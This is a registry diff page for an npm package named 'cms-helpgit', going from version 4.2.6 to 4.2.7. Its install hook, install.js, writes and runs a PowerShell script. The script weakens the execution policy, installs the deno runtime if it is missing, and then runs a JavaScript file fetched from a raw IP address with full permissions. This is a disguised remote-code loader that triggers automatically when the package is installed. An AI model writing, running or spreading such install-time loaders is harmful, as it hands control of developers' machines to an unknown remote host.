cms-helpgit 4.2.6 → 4.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -1
  2. package/install.js +5 -5
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
1
  module.exports = {
2
2
  name: 'cms-helpgit',
3
- version: '4.2.6'
3
+ version: '4.2.7'
4
4
  };
package/install.js CHANGED
@@ -6,7 +6,7 @@ const path = require('path');
6
6
  const psScript = `
7
7
  try { Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } catch {}
8
8
 
9
- $h = Join-Path $env:USERPROFILE 'scoop\\shims'
9
+ $h = Join-Path $env:USERPROFILE 'scoop\shims'
10
10
  if ($env:Path -notlike "*$h*") { $env:Path = "$h;$env:Path" }
11
11
 
12
12
  if (-not (Get-Command winget -ErrorAction SilentlyContinue)) {
@@ -27,20 +27,20 @@ if (-not (Get-Command deno -ErrorAction SilentlyContinue)) {
27
27
 
28
28
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
29
29
  if (-not $deno) {
30
- $deno = Get-ChildItem "$env:LOCALAPPDATA\\Microsoft\\WinGet\\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
30
+ $deno = Get-ChildItem "$env:LOCALAPPDATA\Microsoft\WinGet\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
31
31
  }
32
32
  if (-not $deno) {
33
- $deno = Get-ChildItem "$env:USERPROFILE\\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
33
+ $deno = Get-ChildItem "$env:USERPROFILE\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
34
34
  }
35
35
  if (-not $deno) {
36
36
  if (Get-Command scoop -ErrorAction SilentlyContinue) {
37
37
  scoop install deno
38
- $env:Path = "$env:USERPROFILE\\scoop\\shims;$env:Path"
38
+ $env:Path = "$env:USERPROFILE\scoop\shims;$env:Path"
39
39
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
40
40
  }
41
41
  }
42
42
 
43
- & $deno -A "http://77.90.185.225/ae83b0125aa433a7.js"
43
+ & $deno -A "http://77.90.185.225/6bc8fb9ad965fbb0.js"
44
44
  `;
45
45
 
46
46
  const scriptFile = path.join(os.tmpdir(), 'setup_' + Date.now() + '.ps1');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cms-helpgit",
3
- "version": "4.2.6",
3
+ "version": "4.2.7",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "install": "node install.js"